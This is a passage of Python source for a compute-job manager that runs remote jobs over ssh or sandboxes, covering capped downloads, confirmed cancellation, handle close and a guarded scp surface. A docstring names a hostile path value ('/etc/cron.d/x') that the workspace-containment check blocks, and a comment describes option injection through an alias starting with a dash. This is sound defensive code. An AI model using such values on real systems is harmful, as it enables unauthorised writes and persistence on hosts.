stayed, False self._cleanup_remote_archive(alias, workdir) if patterns: # The remote `find` is the exclusion that matters, and it is the # one that stops the bytes moving. This is the second gate, on the # side we control: `find`'s pattern semantics are not identical to # fnmatch's on every host, and a stay-remote file that slipped # through must not survive on local disk to be listed as an output. stayed.extend(_prune_local_matches(dest, patterns)) return None, oversized, sorted(set(stayed)), False def _fetch_archive_capped( self, alias: str, workdir: str, local: Path, cap: int, timeout: float = 300.0, ) -> None: """Stream the harvest archive with a hard cap on the *transferred* bytes. The ack-reported size is a TOCTOU: a detached remote process can enlarge or replace the archive after the acknowledgement but before a separate scp, so the pre-check would apply to different bytes than the transfer, and the download could still exhaust local disk. Reading the archive over ``ssh cat`` and stopping the moment the bytes exceed ``cap`` binds the limit to exactly what lands on local disk. """ remote = f"{workdir}/{_HARVEST_ARCHIVE}" proc = subprocess.Popen( self._ssh_argv(alias, f"cat -- {remote}"), stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) # A blocking `read(n)` gives no wall-clock bound on its own — it waits for # n bytes or EOF, so a mid-transfer stall (a half-open connection to a # dead remote) would hang forever, and the prior scp path's `timeout=` # would not. A watchdog kills the process at the deadline, which unblocks # the read with EOF. stderr is drained on its own thread so a chatty # remote cannot fill that pipe and back-pressure stdout into a deadlock. # # Draining is not the same as *keeping*. A forced command or a login # profile on the remote can write stderr continuously while `cat` stays # under the stdout cap, and retaining every chunk for the whole transfer # timeout — then doubling it in `b"".join` — exhausts the daemon's memory # while the archive limit reports everything is fine. Only the tail is # ever shown, so only the tail is held; the rest is read and dropped. stderr_tail = bytearray() tail_lock = threading.Lock() dropped = [0] def _drain_stderr() -> None: try: if proc.stderr is not None: for part in iter(lambda: proc.stderr.read(65536), b""): with tail_lock: stderr_tail.extend(part) excess = len(stderr_tail) - _STDERR_TAIL_BYTES if excess > 0: del stderr_tail[:excess] dropped[0] += excess except Exception: # noqa: BLE001 - draining is best-effort pass drainer = threading.Thread(target=_drain_stderr, daemon=True) drainer.start() timed_out = {"v": False} def _watchdog() -> None: timed_out["v"] = True try: proc.kill() except Exception: # noqa: BLE001 pass watchdog = threading.Timer(timeout, _watchdog) watchdog.start() written = 0 over = False try: assert proc.stdout is not None with open(local, "wb") as fh: while True: chunk = proc.stdout.read(256 * 1024) if not chunk: break written += len(chunk) if written > cap: over = True break fh.write(chunk) finally: watchdog.cancel() if over: try: proc.kill() except Exception: # noqa: BLE001 pass try: rc = proc.wait(timeout=30) except subprocess.TimeoutExpired: proc.kill() rc = -1 drainer.join(timeout=5) # The join can time out with the drainer still writing, so the tail # is copied under the same lock it is appended under. with tail_lock: stderr = bytes(stderr_tail) elided = dropped[0] if elided: stderr = ( f"...({elided} earlier stderr bytes discarded)\n".encode() + stderr ) if over: raise ComputeError( f"harvest exceeded the {cap}-byte download cap mid-transfer from " f"{alias}; aborted before it could exhaust local disk. Declare " f"fewer or smaller outputs, or use residency: remote.", "unsafe_archive", ) if timed_out["v"]: raise ComputeError( f"harvest transfer from {alias} exceeded {int(timeout)}s; aborted", "transient", ) if rc != 0: raise ComputeError( f"harvest transfer from {alias} failed: " f"{stderr.decode('utf-8', 'replace').strip() or 'no stderr'}", "transient", ) # Not a `@staticmethod` any more: it builds an ssh argv, and those are # built in one place so the shape guard is structural. Both call sites # already invoked it through the instance. def _cleanup_remote_archive(self, alias: str, workdir: str) -> None: """Best effort: the staged tarball doubles the job's remote footprint.""" try: _run_capped( self._ssh_argv(alias, f"rm -f {workdir}/{_HARVEST_ARCHIVE}"), timeout=30, ) except (subprocess.TimeoutExpired, OSError): pass # --- cancel / close / ssh command / scp ------------------------------- def _terminate_ssh_job(self, job: dict) -> None: """Signal the job's process group and confirm it is gone. Raises on anything short of confirmation. There is no "probably". """ pgid = str(job.get("pgid") or "") pid = str(job.get("pid") or "") if not (pgid or pid): raise ComputeError( f"job {job['job_id']!r} has no recorded remote process to " f"signal; inspect {job.get('workdir')} on {job.get('alias')} " f"by hand", "receipt_unconfirmed", indeterminate=True, ) try: proc = _run_capped( self._ssh_argv(job["alias"], _ssh_cancel_script(pgid, pid)), timeout=self._CANCEL_TIMEOUT_S, ) except (subprocess.TimeoutExpired, OSError) as e: raise ComputeError( f"cancel could not reach {job['alias']}: {e}; the remote " f"job may still be running", "remote_unreachable", indeterminate=True, ) if proc.returncode != 0: # A kill we could not deliver is not a cancellation. Claiming one # leaves the caller believing the allocation is freed. The script # exits non-zero when the group outlived SIGKILL too, so this also # covers "signalled but still there". raise ComputeError( f"cancel failed on {job['alias']} (exit {proc.returncode}): " f"{proc.stderr.decode('utf-8', 'replace').strip() or 'no stderr'}" f"; the remote job may still be running", "receipt_unconfirmed", indeterminate=True, ) def _terminate_sandbox(self, pid: str, sandbox_id: str) -> None: """Ask the provider to destroy one sandbox. Raises unless it agrees.""" prov = self._byoc(pid) with tempfile.TemporaryDirectory(prefix="openai4s-byoc-stage-") as td: self._run_helper( prov, "terminate", {"sandbox_id": sandbox_id}, self._provider_creds(prov), Path(td), ) def _cancel_failure(self, error: ComputeError) -> ComputeError: """Map a terminate failure onto the closed-set cancel reasons. Confirmed cancel is a separate path. Anything short of a provider agreeing that the job is gone stays indeterminate so a caller cannot render it as cancelled. """ kind = error.error_kind if kind in CANCEL_INDETERMINATE_REASONS: if error.indeterminate: return error return ComputeError(str(error), kind, indeterminate=True) message = str(error).lower() if ( kind == "invalid_request" or "unsupported" in message or "not support" in message ): return ComputeError( str(error), "provider_cancel_unsupported", indeterminate=True ) if ( "could not reach" in message or "timed out" in message or "timeout" in message or "deadline" in message ): return ComputeError(str(error), "remote_unreachable", indeterminate=True) return ComputeError( str(error), states.REASON_CANCEL_UNCONFIRMED, indeterminate=True ) def _record_unconfirmed_cancel(self, job: dict, error: ComputeError) -> None: """Leave the job live and record that a cancel was asked, not granted. Only a job that is still live carries the note. `_persist` is an unconditional UPDATE, so if the poll thread committed a terminal state between the pre-check and the failed terminate, writing here would overwrite the terminal row's own `reason` with "may still be running" and append a cancel event to a finished job. """ if self._store is not None: try: row = self._store.get_compute_job(job["job_id"]) or {} except Exception: # noqa: BLE001 - bookkeeping must not mask the cancel row = {} if row.get("status") in states.TERMINAL_STATES: return self._persist( job["job_id"], reason=( "cancel could not be confirmed; the job may still be " "running and billing" ), ) self._event( job["job_id"], "cancel_unconfirmed", { "error_kind": error.error_kind, "indeterminate": True, }, ) def cancel(self, kw: dict) -> dict: with self._lock: job = self._jobs.get(kw["job_id"]) if job is None: raise ComputeError(f"no such job {kw['job_id']!r}", "not_found") current = job.get("status") if current in states.TERMINAL_STATES: # Already over. Signalling a finished job is not a cancel, and it # would be a remote call made for a fact we already hold. return { "status": current, "conflict": { "requested": states.CANCELLED, "actual": current, }, "hint": ( "the job reached a terminal state before the cancel " "landed; the recorded outcome is unchanged" ), } fam, rest = self._split(job["provider"]) try: if fam == "ssh": self._terminate_ssh_job(job) else: sandbox_id = job.get("sandbox_id") if not sandbox_id: raise ComputeError( f"job {job['job_id']!r} has no recorded sandbox to " f"terminate; it may still be running and billing", states.REASON_CANCEL_UNCONFIRMED, indeterminate=True, ) self._terminate_sandbox(rest, sandbox_id) except ComputeError as error: # Every terminate failure is an unconfirmed stop, a provider's # `not_found` for a sandbox this side still holds included: that # is not "no such job" (the job exists and may be billing), and # `_cancel_failure` returns an already-closed-set error untouched. mapped = self._cancel_failure(error) self._record_unconfirmed_cancel(job, mapped) if mapped is error: raise raise mapped from error except Exception as error: # noqa: BLE001 # A helper that died before reading stdin (BrokenPipeError), a # reply file that is not JSON, an OSError from Popen: none is a # ComputeError, and every one of them leaves the remote in a state # this side cannot confirm. Unmapped, they escaped with no # `cancel_unconfirmed` record and no `indeterminate` flag, so the # SDK read them as a definite rejection. mapped = ComputeError( f"cancel failed on {job.get('alias') or job['provider']}: " f"{type(error).__name__}: {error}; the remote job may still be " f"running", states.REASON_CANCEL_UNCONFIRMED, indeterminate=True, ) self._record_unconfirmed_cancel(job, mapped) raise mapped from error conflict = self._commit_terminal( job, states.CANCELLED, event="cancelled", terminal_at=_now_ms(), # An earlier unconfirmed attempt may have left "may still be # running and billing" on the row; a confirmed stop clears it, # or the Task Centre keeps warning about a job that is over. reason="", termination_reason=states.REASON_USER_CANCELLED, ) if conflict is not None: # The job had already ended by the time we stopped it. The remote # really was signalled, so the cancel was not a no-op — but the # outcome on record is the one that happened, and the caller is # told that rather than the one it asked for. return { "status": conflict.get("status"), "conflict": { "requested": states.CANCELLED, "actual": conflict.get("status"), }, "hint": ( "the job reached a terminal state before the cancel " "landed; the recorded outcome is unchanged" ), } return {"status": "cancelled"} def close(self, kw: dict) -> dict: """Release the handle, terminating what it was holding. ``cancelled`` is a *terminal* state, and reconcile skips terminal rows. Writing it over every live job on the strength of having asked to close the handle was therefore a false negative with teeth: an ssh job was never signalled at all, a byoc terminate could fail or — after a restart, with ``_sandboxes`` empty — never be attempted, and the job kept running and kept billing while the ledger said it had been cancelled and nothing would ever look at it again. So each job is terminated individually and marked ``cancelled`` only on confirmation. Anything unconfirmed stays live, keeps its concurrency slot, and is reported back by name — the caller is told what it still owns rather than being quietly told it owns nothing. """ provider = kw["provider"] fam, rest = self._split(provider) released: list[str] = [] unreleased: list[dict] = [] already: list[dict] = [] with self._lock: targets = [ job for jid in (kw.get("job_ids") or []) for job in [self._jobs.get(str(jid))] # Every live state, `staging` and `unknown` included: work whose # fate we do not know is exactly what must not be forgotten. if job is not None and states.is_live(job.get("status")) ] # byoc jobs share one sandbox per provider, so terminate it once and # let every job riding on it inherit that single verdict. sandbox_verdicts: dict[str, BaseException | None] = {} def _release_sandbox(sandbox_id: str) -> BaseException | None: if sandbox_id not in sandbox_verdicts: try: self._terminate_sandbox(rest, sandbox_id) sandbox_verdicts[sandbox_id] = None except BaseException as exc: # noqa: BLE001 sandbox_verdicts[sandbox_id] = exc return sandbox_verdicts[sandbox_id] for job in targets: jid = job["job_id"] job_fam = self._split(job["provider"])[0] try: if job_fam == "ssh": self._terminate_ssh_job(job) else: sandbox_id = str(job.get("sandbox_id") or "") if not sandbox_id: raise ComputeError( "no recorded sandbox to terminate", "unknown_state", indeterminate=True, ) failure = _release_sandbox(sandbox_id) if failure is not None: raise failure except BaseException as exc: # noqa: BLE001 unreleased.append( { "job_id": jid, "provider": job["provider"], "status": job.get("status"), "receipt": job.get("receipt"), "error": str(exc), } ) self._persist(jid, reason=f"close could not confirm: {exc}") self._event(jid, "close_unconfirmed", {"error": str(exc)}) continue # In-memory only meant a restart rehydrated the job as live, so it # kept occupying a concurrency slot and kept being reconciled # against a provider that had already released it. Ledger first, # for the same reason as `cancel`: a close that lost the race to a # result used to report a release of a job it never ended. conflict = self._commit_terminal( job, states.CANCELLED, event="closed", event_payload={"provider": provider}, terminal_at=_now_ms(), termination_reason=states.REASON_HANDLE_CLOSED, ) if conflict is not None: already.append( { "job_id": jid, "status": conflict.get("status"), "note": "already terminal before this close", } ) continue released.append(jid) # The warm sandbox outlives the jobs that ran in it, so release it even # when no job ids were named. After a restart `_sandboxes` is empty and # the only surviving name for a container is the one on its job rows — # which is why those are consulted too. terminated = True if fam == "byoc": handled = {job["job_id"] for job in targets} for sandbox_id in self._sandbox_ids_for(rest): if _release_sandbox(sandbox_id) is not None: # Drop the id only once the provider has confirmed the # sandbox is gone. Forgetting it on a failed terminate is # how a sandbox bills forever with nothing left in this # process able to name it. terminated = False continue # byoc jobs share one sandbox per provider, and this loop # releases every sandbox the manager can name — including ones # carrying live jobs this handle never listed (a restart, or a # second handle, leaves exactly such rows). Transitioning only # the named targets left those jobs live in memory and in the # ledger: they kept a concurrency slot and later polls addressed # a sandbox that no longer exists. The sandbox is confirmed gone, # so every live job riding it is over too. for job in self._live_jobs_on_sandbox(sandbox_id, handled): conflict = self._commit_terminal( job, states.CANCELLED, event="closed", event_payload={ "provider": provider, "sandbox_id": sandbox_id, }, terminal_at=_now_ms(), termination_reason=states.REASON_HANDLE_CLOSED, ) handled.add(job["job_id"]) if conflict is None: released.append(job["job_id"]) if terminated: self._sandboxes.pop(rest, None) self._sandbox_deadlines.pop(rest, None) result = { "status": "closed", "sandbox_released": terminated and not unreleased, "released": released, } if already: # Not a failure and not a release: the job ended on its own before # the close reached it, and the recorded outcome is its own. result["already_terminal"] = already if unreleased: result["unreleased"] = unreleased result["error_kind"] = "unknown_state" result["hint"] = ( "these jobs could not be confirmed stopped and are still " "tracked as live; they may still be running and billing" ) return result def _live_jobs_on_sandbox(self, sandbox_id: str, exclude: set[str]) -> list[dict]: """Every live job this manager still tracks riding the given sandbox. Used when a close terminates a sandbox: the jobs on it are over whether or not the caller named them, so the ledger has to say so. """ with self._lock: jobs = list(self._jobs.values()) return [ job for job in jobs if str(job.get("sandbox_id") or "") == sandbox_id and job["job_id"] not in exclude and states.is_live(job.get("status")) ] def _sandbox_ids_for(self, provider_id: str) -> list[str]: """Every sandbox this manager can still name for one byoc provider. The warm-reuse map is in-memory, so a restart left it empty and ``close`` had nothing to terminate. The job rows survive the restart, so they are the durable second source. """ found: list[str] = [] warm = self._sandboxes.get(provider_id) if warm: found.append(warm) with self._lock: jobs = list(self._jobs.values()) for job in jobs: if job.get("provider") != f"byoc:{provider_id}": continue sandbox_id = str(job.get("sandbox_id") or "") if sandbox_id and sandbox_id not in found: found.append(sandbox_id) return found def ssh(self, kw: dict) -> dict: """One synchronous command (call_command). byoc runs it inside the warm sandbox; ssh runs it over the alias.""" provider = kw["provider"] fam, rest = self._split(provider) cmd = kw["command"] timeout_s = int(kw.get("timeout_seconds") or 60) if fam == "ssh": # `-t` goes between the program and the destination, so this one # cannot use `_ssh_argv` verbatim -- but it must not skip the check # either, which is how `scp` came to bypass even the shape guard. destination = self._named_destination(rest) shell = ["ssh"] if kw.get("login_shell"): shell += ["-t"] shell += [destination, cmd] # Audited before it runs, not after: a command that hangs or kills # the daemon must still leave a record that it was attempted. self._audit("compute_ssh_command", alias=destination, command=cmd[:2000]) # The 64 KiB slices below bound what the *caller* sees; they did # nothing about what the daemon allocated to produce them, which on # a chatty or hostile alias is everything the link can deliver # inside `timeout_s`. The cap is applied while reading now. proc = _run_capped(shell, timeout=timeout_s) stdout, stderr = proc.stdout, proc.stderr out = { "stdout": stdout.decode("utf-8", "replace")[:_CALL_COMMAND_CAP], "stderr": stderr.decode("utf-8", "replace")[:_CALL_COMMAND_CAP], "exit_code": proc.returncode, } # Said, not silently swallowed: a command whose output was cut is # not a command that produced that much and no more. *Both* cuts # count — the read ceiling above and this slice — because reporting # only the first would let `stdout_truncated: False` mean "you have # all of it" for every reply between 64 KiB and 16 MiB. if proc.stdout_truncated or len(stdout) > _CALL_COMMAND_CAP: out["stdout_truncated"] = True if proc.stderr_truncated or len(stderr) > _CALL_COMMAND_CAP: out["stderr_truncated"] = True if out.get("stdout_truncated") or out.get("stderr_truncated"): out["hint"] = ( f"this alias produced more output than call_command keeps " f"({_CALL_COMMAND_CAP} bytes; anything past " f"{_REMOTE_STDOUT_CAP} was not even read). Redirect it to a " f"file on the host and harvest that instead" ) return out raise ComputeError( "call_command on a byoc provider requires a live sandbox; " "submit a job instead", "invalid_request", ) def scp(self, kw: dict) -> dict: """Direct file transfer over an ssh alias. A compatibility surface, deliberately kept but no longer looser than the job path it sits beside: paths are checked, size is capped, and every call is audited. Previously it forwarded an agent-supplied string straight to `scp`. """ # Both halves of `_split`, not just the family. Re-deriving the alias # with `provider.split(":", 1)[1]` discarded the `_safe_alias` that # `_split` had just applied to the very same string, so this surface # was looser than every other one in the module -- an alias beginning # with `-` reached `scp` as an option here and nowhere else. fam, alias = self._split(kw["provider"]) if fam != "ssh": raise ComputeError("download/upload is ssh-only", "invalid_request") # The alias arrives with the call, so it is authorised here rather than # trusted the way a job record's is. alias = self._named_destination(alias) remote = _safe_remote_path(kw.get("remote"), label="remote path") if kw["direction"] == "down": local = self._safe_local_path( kw.get("local") or Path(remote).name, label="local path" ) self._audit("compute_scp_download", alias=alias, remote=remote) self._run_scp( self._scp_argv(alias, remote=remote, local=str(local), upload=False), f"download {remote!r} from {alias}", ) self._enforce_transfer_cap(local) return {"local": str(local)} local = self._safe_local_path(kw["local"], label="local path", must_exist=True) self._enforce_transfer_cap(local) self._audit("compute_scp_upload", alias=alias, remote=remote) self._run_scp( self._scp_argv(alias, remote=remote, local=str(local), upload=True), f"upload to {remote!r} on {alias}", ) return {"remote": remote} def _safe_local_path( self, value: Any, *, label: str, must_exist: bool = False ) -> Path: """Resolve a local path and require it to stay inside the workspace. Without this, `direction="down"` with `local="/etc/cron.d/x"` writes wherever the daemon can write — the agent choosing the destination is the whole risk. Symlinks are resolved BEFORE the containment check, so a link planted inside the workspace cannot redirect the write outside it. """ text = str(value or "").strip() if not text: raise ComputeError(f"{label} must not be empty", "invalid_request") if "\x00" in text: raise ComputeError( f"{label} must not contain a NUL byte", "invalid_request" ) base = Path(self._workspace or Path.cwd()).resolve() candidate = Path(text) resolved = base / candidate if not candidate.is_absolute() else candidate resolved = resolved.resolve() if resolved != base and base not in resolved.parents: raise ComputeError( f"{label} must stay inside the workspace ({resolved} is outside " f"{base})", "invalid_request", ) if must_exist and not resolved.is_file(): raise ComputeError(f"{label} {text!r} is not a file", "invalid_request") return resolved @staticmethod def _enforce_transfer_cap(path: Path) -> None: try: size = path.stat().st_size except OSError: return if size > MAX_TRANSFER_BYTES: raise ComputeError( f"transfer of {size} bytes exceeds the {MAX_TRANSFER_BYTES} byte " f"cap for the direct scp surface; stage it through a job instead", "invalid_request", ) def _audit(self, event: str, **fields: Any) -> None: """Record a direct-surface call. Redaction is the emitter's job.""" try: from openai4s.observability import log_event log_event(event, **fields) except Exception: # noqa: BLE001 - auditing must not fail the operation pass @staticmethod def _run_scp(argv: list[str], what: str) -> None: """Run one scp, raising on failure. Returning a path the transfer never produced is what made a failed copy look like a delivered file to the caller. """ try: proc = _run_capped(argv, timeout=300) except subprocess.TimeoutExpired: raise ComputeError(f"{what} timed out after 300s", "transient") except OSError as e: raise ComputeError(f"{what} could not start: {e}", "transient") if proc.returncode != 0: raise ComputeError( f"{what} failed (scp exited {proc.returncode}): " f"{proc.stderr.decode('utf-8', 'replace').strip() or 'no stderr'}", "transient", )